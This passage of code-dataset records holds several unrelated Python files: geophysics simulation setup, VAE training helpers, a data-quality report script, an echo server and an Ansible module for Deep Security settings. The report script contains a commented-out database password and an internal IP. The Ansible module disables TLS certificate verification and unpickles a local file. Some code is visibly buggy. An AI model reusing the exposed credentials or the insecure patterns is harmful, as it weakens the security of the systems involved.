src)\n print(\"Saving to\", dst)\n save_rows(path=dst.path,\n stream=map(worker, yield_rows(src.path)),\n column_names=column_names)\n print(\"Saved\", dst)\n\n\ndef read_intermediate_df(year: int, directory=None):\n src = locate(year, directory).processed\n src.assert_exists()\n return read_df(src.path, SHORT_COLUMNS.dtypes)\n\n\ndef read_dataframe(year: int, directory=None):\n \"\"\"Read canonic data for *year* as dataframe.\n\n Returns:\n pandas.DataFrame\n \"\"\"\n return canonic_df(read_intermediate_df(year, directory))\n\n\ndef inspect(year: int, directory=None):\n is_downloaded, is_processed = False, False\n loc = locate(year, directory)\n if loc.raw.exists():\n is_downloaded = True\n print(f\" Raw CSV file: {loc.raw}\")\n if loc.raw.mb() < 1:\n print(\"WARNING: file size too small. \"\n \"Usually file size is larger than 500Mb.\")\n else:\n loc.raw.print_error()\n if loc.processed.exists():\n is_processed = True\n print(f\"Processed CSV file: {loc.processed}\")\n print(f\" Use next: df=boo.read_dataframe({year})\")\n else:\n loc.processed.print_error()\n return is_downloaded, is_processed\n","sub_path":"boo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"290374196","text":"import numpy as np\nimport h5py\nimport logging\nimport os\nimport sys\nimport traceback\nfrom stagyy import ui\nfrom stagyy.util import T_hs\n\nLOG=logging.getLogger(__name__)\n\ndef log(level=logging.DEBUG,handler=logging.StreamHandler()):\n LOG.addHandler(handler)\n LOG.setLevel(level)\n\n#\n# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n# ! WARNING WARNING WARNING WARNING WARNING WARNING !\n# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n# The version of StagYY received from 12 Feb 2013 makes changes to\n# the numbering of the tracer types. You must now activly make a call\n# to define the tracer types.\n#\n# Currently defined vintages are:\n# pre12feb2013 - the tracer types used prior to the change in Stagyy\n# 12feb2013 - the tracer types used in the version from 12 Feb 2013\n# this fearture is deprecated and now only the post 12feb2013 tracers are used\n#\ntt_solid_harzburgite=0\ntt_solid_basalt=1\ntt_molten_harzburgite=2\ntt_molten_basalt=3\ntt_newly_melted_basalt=4\ntt_wants_to_freeze_basalt=5\ntt_air=6\ntt_prim=7\ntt_ccrust=8\ntt_erupting_basalt=9\ntt_intruding_basalt=10\ntracer_types=range(11)\n\nclass Scene(object):\n \"\"\"\n The Scene object contains information about the domain of the problem. The size (L) and grid (shape) must\n be provided in the constructor. The physical properties of the background material properties can also be\n passed to the constructor or set on the object after instanation. Default material properties\n are for a modern Earth:\n alpha=3e-5 : thermal expansion coefficient (K^-1) [expan_dimensional in par]\n g=9.81 : gravity (m s^-2) [g_dimensional in par]\n eta0=1e21 : dynamic viscosity (Pa s) [eta0 in par]\n rho=3300.0 : densiry (kg m^-3) [dens_dimensional in par]\n Cp=1200.0 : spefific heat (J kg^-1 K^-1) [Cp_dimensional in par]\n k=3.0 : thermal conductivity (W m^-1 K^-1) [tcond_dimensional]\n kappa=1e-6 : diffusivity (m^2 s^-1) {k/rho Cp}\n T_surface=300.0 : Temperature at the surface (K)\n T_mantle=1600.0 : Background mantle temperature (K)\n Amp_T : Amplitude of randomness to add to the Temp field (K)\n \"\"\"\n def __init__(self,grid,alpha=3e-5,g=9.81,eta0=1e21,rho=3300.0,Cp=1200.0,k=3.0,kappa=1e-6,\n T_surface=300.0, T_mantle=1600.0, eta_air=1e18, air_layer=0.0,crust_depth=0.0,amp_T=0):\n self.L=grid.L\n self.N=grid.N\n self.grid=grid\n self.alpha=alpha\n self.g=g\n self.eta0=eta0\n self.eta_air=eta_air\n self.rho=rho\n self.Cp=Cp\n self.k=k\n self.kappa=kappa\n self.T_surface=T_surface\n self.T_mantle=T_mantle\n self.air_layer=air_layer\n self.crust_depth=crust_depth\n self.objects=[]\n self.amp_T=amp_T\n self.water=False;\n\n def add(self,o):\n if not isinstance(o,SceneObject):\n raise TypeError(\"SceneObject expected, got %s\"%o.__class__)\n self.objects.append(o)\n o.set_scene(self)\n\n def update_par(self,par):\n par['geometry']['D_dimensional']=self.L[1]\n\n par['refstate']['expan_dimensional']=self.alpha\n par['refstate']['g_dimensional']=self.g\n par['refstate']['dens_dimensional']=self.rho\n par['refstate']['Cp_dimensional']=self.Cp\n par['refstate']['tcond_dimensional']=self.k\n par['refstate']['deltaT_dimensional']=self.T_mantle-self.T_surface\n\n par['viscosity']['eta0']=self.eta0\n par['viscosity']['eta_air']=self.eta_air\n\n par['boundaries']['topT_val']=self.T_surface\n par['boundaries']['air_layer']=self.air_layer>0\n par['boundaries']['air_thickness']=self.air_layer\n\n def calc_temp(self,pb=ui.NullProgressBar()):\n # Set the background viscosity\n temp=np.ones(self.N)*self.T_mantle+(np.random.rand(*self.N)*self.amp_T-self.amp_T/2)\n LOG.debug('temp.shape=%s'%str(temp.shape))\n # The progress bar\n pb.total=self.N[0]*self.N[1]-1\n i=0\n for iz,z in enumerate(self.grid.z_center):\n for ix,x in enumerate(self.grid.x_center):\n pb.progress(i)\n i=i+1\n depth=self.grid.L[1]-z-self.air_layer\n T=None\n LOG.debug('temp[%0.2f,%0.2f,%0.2f]'%(x,z,depth))\n LOG.debug('temp[%3d,%3d]'%(ix,iz))\n for o in self.objects:\n T=o.T(x,z,depth)\n if T!=None:\n try:\n temp[ix,iz]=T\n except:\n LOG.error('temp[%0.2f,%0.2f,%0.2f]'%(x,z,depth))\n LOG.error('temp[%3d,%3d]'%(ix,iz))\n LOG.error('T=%f'%T)\n raise\n break\n return temp\n\n def calc_tracers(self,tracers,pb=ui.NullProgressBar()):\n x=np.random.random(tracers)*self.L[0]\n z=np.random.random(tracers)*self.L[1]\n depth=self.grid.L[1]-z-self.air_layer\n tracer_type=np.zeros(tracers)\n if self.water:\n water=np.zeros(tracers)\n # The progress bar\n i=0\n pb.total=tracers-1\n for i in xrange(tracers):\n for o in self.objects:\n tracer=o.tracer(x[i],z[i],depth[i])\n if tracer!=None:\n break\n if tracer==None: \n tracer=(tt_solid_harzburgite,0.0) if depth[i]>self.crust_depth else (tt_solid_basalt,1.0)\n assert(tracer[0] in tracer_types)\n tracer_type[i]=tracer[0]\n if self.water:\n water[i]=tracer[0]\n pb.progress(i)\n if self.water:\n return x,z,tracer_type,water\n else:\n return x,z,tracer_type\n\n def write_temp(self,out_dir,pb=ui.NullProgressBar()):\n temp=self.calc_temp(pb)\n filename=os.path.join(out_dir,'init.h5')\n h5file=h5py.File(filename)\n h5file.create_dataset('temp', data=temp)\n h5file.close()\n return filename\n\n def write_tracers(self,out_dir,tracers,tracers_per_cell=True,pb=ui.NullProgressBar()):\n try:\n if tracers_per_cell:\n tracers=tracers*self.grid.cells\n tracers=self.calc_tracers(tracers,pb)\n filename=os.path.join(out_dir,'init.h5')\n h5file=h5py.File(filename)\n h5file.create_dataset('tracers', data=tracers,compression='gzip')\n h5file.close()\n except NameError:\n sys.stderr.write('NameError encountered, perhaps tracer vintage was not set\\n')\n sys.stderr.write('Make sure you set tracer vintage using selectTracers(when)\\n')\n traceback.print_exc()\n sys.exit()\n return filename\n\nclass CartesianScene(Scene):\n def update_par(self,par):\n super(CartesianScene,self).update_par(par)\n par['geometry']['aspect_ratio(1)']=self.L[0]/self.L[1]\n par['geometry']['aspect_ratio(2)']=0\n par['geometry']['nxtot']=self.N[0]\n par['geometry']['nytot']=1\n par['geometry']['nztot']=self.N[1]\n par['geometry']['shape']='cartesian'\n\n def calc_temp(self,pb=ui.NullProgressBar()):\n temp=super(CartesianScene,self).calc_temp(pb)\n temp=temp.reshape(self.N[0],1,self.N[1],1)\n LOG.debug('temp.shape=%s'%str(temp.shape))\n return temp\n\n def calc_tracers(self,tracers,pb=ui.NullProgressBar()):\n if self.water:\n x,z,tracer_type,water=super(CartesianScene,self).calc_tracers(tracers,pb)\n return np.vstack((x,np.zeros(tracers),z,tracer_type,water)).T\n else:\n x,z,tracer_type=super(CartesianScene,self).calc_tracers(tracers,pb)\n return np.vstack((x,np.zeros(tracers),z,tracer_type)).T\n\nclass AnnulusScene(Scene):\n def __init__(self,grid,alpha=3e-5,g=9.81,eta0=1e21,rho=3300.0,Cp=1200.0,k=3.0,kappa=1e-6,\n T_surface=300.0, T_mantle=1600.0, eta_air=1e18, air_layer=0.0,crust_depth=0.0,amp_T=0,aspect_ratio=6.3,cmb=0):\n super(AnnulusScene, self).__init__(grid,alpha=alpha,g=g,eta0=eta0,rho=rho,Cp=Cp,k=k,kappa=kappa,\n T_surface=T_surface, T_mantle=T_mantle, eta_air=eta_air, \n air_layer=air_layer,crust_depth=crust_depth,amp_T=amp_T)\n self.aspect_ratio=aspect_ratio\n self.cmb=cmb\n def update_par(self,par):\n super(AnnulusScene,self).update_par(par)\n par['geometry']['aspect_ratio(1)']=0\n par['geometry']['aspect_ratio(2)']=self.aspect_ratio\n par['geometry']['nxtot']=1\n par['geometry']['nytot']=self.N[0]\n par['geometry']['nztot']=self.N[1]\n par['geometry']['shape']='spherical'\n par['geometry']['r_cmb']=self.cmb\n\n def calc_temp(self,pb=ui.NullProgressBar()):\n temp=super(AnnulusScene,self).calc_temp(pb)\n temp=temp.reshape(1,self.N[0],self.N[1],1)\n LOG.debug('temp.shape=%s'%str(temp.shape))\n return temp\n\n def calc_tracers(self,tracers,pb=ui.NullProgressBar()):\n if self.water:\n x,z,tracer_type,water=super(AnnulusScene,self).calc_tracers(tracers,pb)\n return np.vstack((np.zeros(tracers),x,z,tracer_type,water)).T\n else:\n x,z,tracer_type=super(AnnulusScene,self).calc_tracers(tracers,pb)\n return np.vstack((np.zeros(tracers),x,z,tracer_type)).T\n\nclass SceneObject(object):\n def set_scene(self,scene):\n pass;\n\n def T(self,x,z,d):\n return None\n\n def tracer(self,x,z,d):\n return None\n\nclass Sphere(SceneObject):\n \"\"\"\n Creates a 2 or 3D sphere of a given temperature\n \"\"\"\n def __init__(self,x,z,r,T):\n self.x=x\n self.z=z\n self.temp=T\n\n def T(self,x,z,d):\n \"\"\"Returns the temperature at x,y,z\"\"\"\n return self.temp if (x-self.x)**2++(z-self.z)**2 < self.r**2 else None\n\n def tracer(self,x,y,z,d):\n return None\n\nclass UpperPlate(SceneObject):\n \"\"\" \n Creates an upper plate that abuts the subducting plate.\n The overriding plate has a constant age profile\n \"\"\"\n def __init__(self,plate,length,age,gap,crust_depth=-1):\n self.plate=plate\n self.length=length\n self.age=age\n self.trench=plate.trench\n self.end=plate.trench+length\n self.gap=gap\n self.crust_depth=crust_depth\n\n def set_scene(self,scene):\n self.scene=scene\n if self.crust_depth==-1:\n self.crust_depth=scene.crust_depth\n\n def in_plate(self,x,d):\n result=False\n if d>=0 and d<=self.plate.r and ( (x-self.plate.trench)**2+(self.plate.r-d)**2 > (self.plate.r+self.gap)**2 ):\n if self.plate.trench>self.plate.ridge:\n result = x>self.plate.trench and xself.plate.trench-self.length \n return result\n\n def T(self,x,z,d):\n \"\"\"Returns the temperature at x,y,z\"\"\"\n if self.in_plate(x,d):\n return T_hs(self.plate.scene.T_surface,self.plate.scene.T_mantle,d,self.age,self.plate.scene.kappa)\n return None\n\n def tracer(self,x,z,d):\n if d=0 else scene.crust_depth\n self.max_age=max_age;\n bend_horiz_length=self.r*np.sin(self.theta)\n if trench>ridge:\n self.in_plate = lambda x: x>ridge and x<=trench\n self.in_bend = lambda x: x>=trench and x<=trench+bend_horiz_length\n #self.in_bend = lambda x: x>=trench and x<=trench+self.r*np.sin(self.theta)\n else:\n self.in_plate = lambda x: x>=trench and x=trench-bend_horiz_length and x<=trench\n #self.in_bend = lambda x: x>=trench-self.r*np.sin(self.theta) and x<=trench\n self.scene=scene\n self.age=abs(ridge-trench)/v\n\n def set_scene(self,scene):\n self.scene=scene\n\n def T(self,x,z,d):\n \"\"\"Returns the temperature at x,y,z\"\"\"\n if d<0: return None # can't be in the air\n if d>self.r: return None # ignore deep stuff\n\n if self.in_plate(x):\n l=abs(x-self.ridge)\n elif self.in_bend(x):\n if self.trench>self.ridge:\n x=x-self.trench\n else:\n x=self.trench-x\n y=self.r-d\n d=self.r-np.sqrt(x**2+y**2)\n if d<0:\n return None\n phi=np.arctan2(x,y)\n if phi>self.theta:\n return None\n l=abs(self.ridge-self.trench)+phi*self.r\n else:\n return None\n t=min(self.max_age,abs(l/self.v))\n return T_hs(self.scene.T_surface,self.scene.T_mantle,d,t,self.scene.kappa)\n\n def tracer(self,x,z,d):\n if d<0 or d>self.r : return None # quick check\n\n if self.in_plate(x):\n crust_depth=self.crust_depth\n elif self.in_bend(x):\n if self.trench>self.ridge:\n x=x-self.trench\n else:\n x=self.trench-x\n surface_d=d\n y=self.r-d\n d=self.r-np.sqrt(x**2+y**2)\n # if the location is above the bend\n if d<0:\n # if the location is more shallow than the crust\n if surface_dself.theta:\n return None\n crust_depth=self.crust_depth+self.bend_crust_depth\n else :\n return None\n \n if d - function wich call after each epoch.\n \"\"\"\n model.train()\n for it, (batch_of_x, batch_of_y) in enumerate(train_generator):\n train_on_batch(model, batch_of_x, batch_of_y, optimizer)\n\n if callback is not None:\n callback(model)\n return\n\n\ndef trainer(model,\n optimizer,\n dataset,\n count_of_epoch=5,\n batch_size=64,\n callback=None,\n progress=None):\n \"\"\"\n Function for optimize model parameters by using all Dataset count_of_epoch times.\n Input: model, - training model.\n Input: optimizer, Optimimizer - optimizer from torch.optim.\n Input: dataset, TensorDataset - train dataset.\n Input: count_of_epoch, int - a number of epoch.\n Input: batch_size, int - the size of batch.\n Input: callback, - function wich call after each epoch.\n Input: progress, yield - function to display progress (for example tqdm).\n \"\"\"\n iterations = range(count_of_epoch)\n\n if progress is not None:\n iterations = progress(iterations)\n\n for it in iterations:\n\n batch_generator = DataLoader(\n dataset=dataset,\n batch_size=batch_size,\n shuffle=True,\n pin_memory=True)\n\n train_epoch(\n \tmodel=model,\n train_generator=batch_generator,\n optimizer=optimizer,\n callback=callback)\n\n return\n\n\ndef draw_samples_grid_vae(model,\n \t\t\t\t\t num_row=15,\n \t\t\t\t\t num_colum=15,\n \t\t\t\t\t images_size=(28, 28)):\n \"\"\"\n Illustrate how change digits x where change point in latent space z.\n Input: model, - model VAE or IWAE.\n Input: num_row, int - the number of row.\n Input: num_colum, int - the number of column.\n Input: images_size = (x_size, y_size), tuple(int, int) - a size of input image.\n \"\"\"\n\n grid_x = norm.ppf(np.linspace(0.05, 0.95, num_colum))\n grid_y = norm.ppf(np.linspace(0.05, 0.95, num_row))\n\n figure = np.zeros((images_size[0] * num_colum, images_size[1] * num_row))\n for i, y_i in enumerate(grid_x):\n for j, x_i in enumerate(grid_y):\n z_sample = np.array([[x_i, y_i]])\n\n x_sample = model.q_x(torch.from_numpy(z_sample).float()).view(\n images_size).cpu().data.numpy()\n\n image = x_sample\n figure[i * images_size[0]: (i + 1) * images_size[0],\n j * images_size[1]: (j + 1) * images_size[1]] = image\n\n return figure\n","sub_path":"examples/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"601930738","text":"# -*- coding:utf-8 -*-\nimport json\nimport pandas\nimport interval\n\n# import pymysql\n'''\nclass MpDataBase(object):\n def __init__(self):\n mp_data_base = {\n 'engine': 'jdbc:mysql://172.16.1.112:3306',\n 'user': 'mp_dw',\n \"password\": \"Marcpoint2018@Local\",\n \"host\": \"172.16.1.112\",\n \"port\": 3306,\n 'database': 'dw'\n }\n self.conn = pymysql.Connection(host=mp_data_base['host'], user=mp_data_base['user'], password=mp_data_base['password'], port=mp_data_base['port'], database=mp_data_base['database'])\n def run(self, sql):\n with self.conn.cursor() as cursor:\n cursor.execute(sql)\n self.conn.commit()\n return cursor.fetchall()\n def __del__(self):\n self.conn.close()\n\n'''\n\n\ndef dataDeal():\n kpi_df = pandas.read_excel('F:\\pyFile\\kpi.xls', sheet_name=1)\n new_df = pandas.DataFrame()\n for id in plat_df['platform_id']:\n sc_df = rec_df[rec_df['platform_id'] == id]\n type_ = list(sc_df.drop_duplicates(subset='record_type')['record_type'])\n for dat in type_:\n adm_df = sc_df[sc_df['record_type'] == dat]\n s_df = adm_df.copy()\n s_df['diff'] = s_df['count'].shift(1)\n s_df['result'] = 100 * round((s_df['count'] - s_df['diff']) / s_df['diff'], 4) if s_df['diff'] else 'null'\n\n new_df = new_df.append(s_df)\n as_df = pandas.merge(new_df, kpi_df, left_on='record_type', right_on='name')\n map(getInterval, list(as_df['']))\n as_df.to_excel('F:\\pyFile\\sdddecord.xls')\n\n\ndef getInterval(args, s0, s1):\n if args in interval.Interval(s0[0], s0[1]):\n return 's0'\n elif args in interval.Interval(s1[0], s1[1]):\n return 's1'\n else:\n return\n\n\ndef errorType(df):\n # print(type(df['s0_yuzhi'][0]), type(df['result']))\n s0 = json.loads(df['s0_yuzhi'])\n s1 = json.loads(df['s1_yuzhi'])\n try:\n temp = float(df['result'])\n if temp == 0:\n return 's1'\n elif temp in interval.Interval(s0[0], s0[1]):\n return 's0'\n elif temp in interval.Interval(s1[0], s1[1]):\n return 's1'\n return 'True'\n except Exception as e:\n return 'True'\n\n\nclass GenerateEmail(object):\n def __init__(self, df):\n self.df = df\n self.error_s = dict()\n self.email = dict()\n self.month = list(self.df.drop_duplicates('record_month')['record_month'])\n for mk in self.month:\n self.error_s[mk] = dict()\n self.error_s[mk]['nums0'] = 0\n self.error_s[mk]['nums1'] = 0\n self.error_s[mk]['numplat'] = 0\n self.error_s[mk]['numcate'] = 0\n self.error_s[mk]['s0'] = list()\n self.error_s[mk]['s1'] = list()\n self.error_s[mk]['True'] = list()\n self.email[mk] = dict()\n self.email[mk]['title'] = list()\n\n def __analy(self, df):\n info_error = [df['r_type'], '', df['platform_id'], df['record_type'], df['count'], df['result']]\n if df['r_type'] == 's0':\n if '品类' in df['record_type']:\n info_error.extend([df['s0_yuzhi'], '品类异常'])\n self.error_s[df['record_month']]['numcate'] += 1\n else:\n info_error.extend([df['s0_yuzhi'], '平台异常'])\n self.error_s[df['record_month']]['numplat'] += 1\n self.error_s[df['record_month']]['s0'].append(info_error)\n self.error_s[df['record_month']]['nums0'] += 1\n elif df['r_type'] == 's1':\n if '品类' in df['record_type']:\n info_error.extend([df['s1_yuzhi'], '品类异常'])\n self.error_s[df['record_month']]['numcate'] += 1\n else:\n info_error.extend([df['s1_yuzhi'], '平台异常'])\n self.error_s[df['record_month']]['numplat'] += 1\n self.error_s[df['record_month']]['nums1'] += 1\n self.error_s[df['record_month']]['s1'].append(info_error)\n else:\n self.error_s[df['record_month']]['True'].append(info_error)\n\n def error_num(self):\n self.title = []\n base_title = '{0} 数据质量监控结果:S1异常{1}个,S0异常{2}个{3}。'\n # ;涉及\n for i, j in self.error_s.items():\n tem = ''\n if j['numplat'] > 0 and j['numcate'] > 0:\n tem = ';涉及{0}和{1}'.format('平台异常', '品类异常')\n elif j['numplat'] > 0 & j['numcate'] == 0:\n tem = ';涉及{0}'.format('平台异常')\n elif j['numplat'] == 0 & j['numcate'] > 0:\n\n tem = ';涉及{0}'.format('品类异常')\n self.title.append(base_title.format(i, j['nums1'], j['nums0'], tem))\n\n def generataTitle(self):\n self.df.apply(self.__analy, axis=1)\n self.error_num()\n\n def generateContent(self):\n self.lis = dict()\n for i, j in self.error_s.items():\n self.lis[i] = list()\n for sa in j['s1']:\n self.lis[i].append(sa)\n for sa in j['s0']:\n self.lis[i].append(sa)\n\n def generateFile(self):\n self.generataTitle()\n # self.generateContent()\n # print(self.error_s)\n # input('asd')\n tabl = ['异常等级', '平台类型', '平台', '指标', '数据量', '月环比', '阈值区间', '异常类型']\n for i, j in self.error_s.items():\n if j['nums0'] + j['nums1'] == 0:\n print('{0} 数据质量监控结果:无异常'.format(i))\n if j['nums0'] + j['nums1'] > 0:\n pl = j['s1']\n pl.extend(j['s0'])\n df = pandas.DataFrame(pl, columns=tabl)\n df.to_excel('F:\\pyFile\\email{0}.xls'.format(i))\n print(self.title)\n\n\nif __name__ == '__main__':\n # mdb = MpDataBase()\n # 获取平台id信息\n platform_file = 'F:\\pyFile\\platform_id.xls'\n platform_sql = 'select distinct platform_id, platform_name from mp_dw_platforms'\n # sd = mdb.run(platform_sql)\n # df = pandas.DataFrame(list(sd), columns=('platform_id', 'platform_name'))\n # df.to_excel(platform_file)\n\n # mp_data_quality_record\n record__file = 'F:\\pyFile\\\\record.xls'\n record_sql = 'select platform_id, record_month, record_type, count from mp_data_quality_record'\n # sd = mdb.run(record_sql)\n # record_df = pandas.DataFrame(list(sd), columns=('platform_id', 'record_month', 'record_type', 'count'))\n # record_df.to_excel(record__file)\n\n rec_df = pandas.read_excel(record__file, sheet_name=0).fillna('')\n plat_df = pandas.read_excel(platform_file, sheet_name=0).fillna('')\n\n # dataDeal()\n\n # yuzhi_df = pandas.read_excel('F:\\pyFile\\sdddecord.xls', sheet_name=0).fillna('None')\n # 根据阈值,判断报警级别\n # data_type = list(yuzhi_df.apply(errorType, axis=1))\n # yuzhi_df['r_type'] = data_type\n # yuzhi_df.to_excel('F:\\pyFile\\sdddecord.xls')\n\n # 分析数据,生成邮件\n email_df = pandas.read_excel('F:\\pyFile\\sdddecord.xls').fillna('')\n ge = GenerateEmail(email_df)\n ge.generateFile()\n\n # print(s_df.sort_values(by=('record_month')))\n # s_df.to_excel('F:\\pyFile\\sdddecord.xls')\n\n # for dat in rec_df.groupby('platform_id'):\n # print(dat, )\n # dat = pandas.DataFrame(dat)\n # dat['diff'] = dat['count'].shift(1)\n # dat['result'] = round((dat['count'] - dat['diff'])/dat['diff'], 4)\n # rec_df.to_excel('F:\\pyFile\\sdddecord.xls')","sub_path":"bigdata_noise/data_kpi/getDatabase.py","file_name":"getDatabase.py","file_ext":"py","file_size_in_byte":7555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"469873852","text":"\"\"\"Server for echo application.\"\"\"\n\nfrom socket import AF_INET, socket, SOCK_STREAM\nfrom threading import Thread\n\nclass Server:\n sock = socket(AF_INET,SOCK_STREAM)\n\n def __init__(self):\n self.sock.bind(('0.0.0.0',3000))\n self.sock.listen(1)\n\n #def ByteToStr(self, bytestr):\n # return ''.join(chr(x) for x in bytestr)\n #\n # 그냥 bytestr.decode(\"utf-8\")로 하면 됨\n #\n def handler(self, c, a):\n data = c.recv(1024)\n c.send(data)\n #c.close()\n print(\"Model:\"+data[0:6].decode(\"utf-8\"), \"ID:\"+data[6:10].decode(\"utf-8\"), end=\" \")\n print(\"OP:0x{}\".format(data[10]), \"Dev:0x{}\".format(data[11]), \"Type:0x{}\".format(data[12]), end=\" \")\n if(data[13] != 0):\n print(data[14:].decode(\"utf-8\"))\n else:\n print(\"HeartBeat\")\n\n def run(self):\n while True:\n client, client_addr = self.sock.accept()\n cThread = Thread(args=(client, client_addr) , target=self.handler)\n cThread.daemon = True\n cThread.start()\n print(str(client_addr[0]) + ':' + str(client_addr[1]), \":\", end='')\n\nserver = Server()\n\n#ACCEPT_THREAD = Thread(target=server.run())\n# 위처럼 하면 안됨\nACCEPT_THREAD = Thread(target=server.run)\n\nACCEPT_THREAD.start()\nACCEPT_THREAD.join()\nserver.sock.close()\n","sub_path":"echoserver2.py","file_name":"echoserver2.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"42156503","text":"#!/usr/bin/python\nANSIBLE_METADATA = {\n 'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'\n}\n\nDOCUMENTATION = '''\n---\nmodule: ds_config\n\nshort_description: GET or PUT a configuration\n\nversion_added: \"2.6\"\n\ndescription:\n - \"This module works like M(copy), but in reverse. It is used for fetching\n files from remote machines and storing them locally in a file tree,\n organized by hostname. Note that this module is written to transfer\n log files that might not be present, so a missing remote file won't\n be an error unless fail_on_missing is set to 'yes'.\"\n\noptions:\n src:\n description:\n - The configuration on the deep security to fetch. This must be\n one of the following:\n - system_settings\n required: true\n default: null\n dest:\n description:\n - A directory to save the configuration into.\n required: true\n default: null\n flat:\n version_added: \"1.2\"\n description:\n - Allows you to override the default behavior of appending\n hostname/path/to/file to the destination.\n dsm_url:\n description:\n - The Deep Security Manager URL to query\n required: true\n api_key:\n description:\n - The API Key to access the Deep Security REST API\n\nauthor:\n - Markus Winkler (markus_winkler@trendmicro.com)\n'''\n\nEXAMPLES = '''\n# Retriece covered CVEs and rules covering\n- name: Query Deep Security Protection Status\n ds_ips:\n hostname: \"dockerhost.example.com\"\n identifier: \"1008793\"\n state: present\n dsm_url: \"https://{{ deepsecurity_manager }}:4119\"\n api_key: \"{{ deepsecurity_api_key }}\"\n register: ds_result\n'''\n\nRETURN = '''\nds_ips:\n description: Returns changed true or false if a change within Deep Security was made\n type: dict\n sample:\n \"changed\": true,\n \"failed\": false,\n \"message\": \"\"\n'''\n\nfrom ansible.module_utils.basic import AnsibleModule\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\n\nimport requests\nfrom urllib.parse import urlsplit\nimport json\nimport sys\nimport pickle\nimport os.path\n\ndef post_system_settings(settings, dsm_url, api_key):\n '''\n Gets the system settings.\n '''\n\n url = dsm_url + \"/api/systemsettings\"\n data = settings\n post_header = { \"Content-type\": \"application/json\",\n \"api-secret-key\": api_key,\n \"api-version\": \"v1\"}\n response = requests.post(url, data=json.dumps(data), headers=post_header, verify=False).json()\n\n # Error handling\n if 'message' in response:\n if response['message'] == \"Invalid API Key\":\n raise ValueError(\"Invalid API Key\")\n\n return response\n\ndef run_module():\n\n # Argument & parameter definitions\n module_args = dict(\n src=dict(type='str', required=True),\n dest=dict(type='str', required=False),\n flat=dict(type='str', default='yes', choices=['yes', 'no']),\n dsm_url=dict(type='str', required=True),\n api_key=dict(type='str', required=True)\n )\n\n # Result dictionary\n result = dict(\n changed=False,\n message=''\n )\n\n # The AnsibleModule\n # We support check mode\n module = AnsibleModule(\n argument_spec=module_args,\n supports_check_mode=True\n )\n\n # If in check mode return empty result set\n if module.check_mode:\n return result\n\n #\n # Module logic\n #\n\n # Choose between absent or present and execute\n task_result = {}\n if module.params['src'] == 'system_settings':\n filename = 'system_settings.json'\n outname = \"\"\n data = {}\n if module.params['flat'] != 'yes':\n hostname = \"{0.hostname}/\".format(urlsplit(module.params['dsm_url']))\n if not os.path.exists(hostname):\n os.makedirs(hostname)\n outname = hostname + filename\n else:\n outname = filename\n if os.path.isfile(outname):\n with open(outname, 'rb') as fq:\n data = pickle.load(fq)\n task_result = post_system_settings(data, module.params['dsm_url'], module.params['api_key'])\n\n else:\n module.fail_json(msg=\"nothing to fetch\", **result)\n\n # Populate result set\n print(task_result)\n # We didn't change anything on the host\n if task_result == {}:\n result['changed'] = False\n else:\n result['changed'] = True\n\n # Return key/value results\n module.exit_json(**result)\n\ndef main():\n run_module()\n\nif __name__ == '__main__':\n main()\n","sub_path":"roles/deepsecurity/library/ds_copy.py","file_name":"ds_copy.py","file_ext":"py","file_size_in_byte":4636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"403854003","text":"import csv\r\nimport pandas as pd\r\n#with open('chipotle.tsv') as tsvfile:\r\n #chipo = csv.DictReader(tsvfile, dialect='excel-tab')\r\n #for row in chipo:\r\n #print(row)\r\nchipo1=pd.read_csv('chipotle.tsv',sep='\\t')\r\n#print chipo1\r\ndf=chipo1[['item_name','item_price']]\r\n#print df['item_price']\r\nresult=chipo1.sort_values(['item_name'],ascending=[0])\r\n#print result\r\nres=chipo1\r\n#print res\r\nres['item_price']=res.item_price.str.split('$')\r\nprint(res['item_price'].max())\r\n#count=chipo1.loc['Veggie Salad Bowl'].count()\r\n#print count","sub_path":"Python/panda.py","file_name":"panda.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"392949120","text":"\nfrom __future__ import division\nimport cascade_functions as CF\nimport time\nimport theano\nfrom theano import tensor as T\nimport numpy as np\nimport lasagne\nfrom sklearn.metrics import roc_auc_score\n\n\ndef ComputeComplexity(n_layers):\n comp = 0\n for i in range(len(n_layers)-1):\n comp += n_layers[i]*n_layers[i+1]\n return(comp)\n\n\ndef soft_cascade_rw(trX, trY, teX, teY, trX1, teX1, trX2, teX2, beta, K):\n\n lambda_vector = beta\n C = 2\n\n (N, D1) = trX1.shape\n (N, D2) = trX2.shape\n (N, D) = trX.shape\n\n t1 = ComputeComplexity([D1, C])\n t2 = ComputeComplexity([D2, C])\n t3 = ComputeComplexity([D, K, C])\n\n n_it = 10000\n time1 = np.zeros((len(lambda_vector),1))\n accuracy1 = np.zeros((len(lambda_vector),1))\n F1 = np.zeros((len(lambda_vector),1))\n nnz = np.zeros((len(lambda_vector),1))\n\n for i, plambda in enumerate(lambda_vector):\n\n X = T.fmatrix()\n F = T.fmatrix()\n E = T.fmatrix()\n Y = T.fvector()\n\n w_l = CF.init_weights((D1,))\n b_l = theano.shared(CF.floatX(np.random.randn(1) * 0.01), broadcastable=(True,))\n w_l.set_value(np.zeros((D1,)))\n b_l.set_value(np.zeros((1,)))\n\n v_l = CF.init_weights((D2,))\n c_l = theano.shared(CF.floatX(np.random.randn(1) * 0.01), broadcastable=(True,))\n v_l.set_value(np.zeros((D2,)))\n c_l.set_value(np.zeros((1,)))\n\n w_h1 = CF.init_weights((D, K))\n b1 = CF.init_weights((K,))\n w_o = CF.init_weights((K,))\n bo = theano.shared(CF.floatX(np.random.randn(1) * 0.01), broadcastable=(True,))\n\n pygx1 = 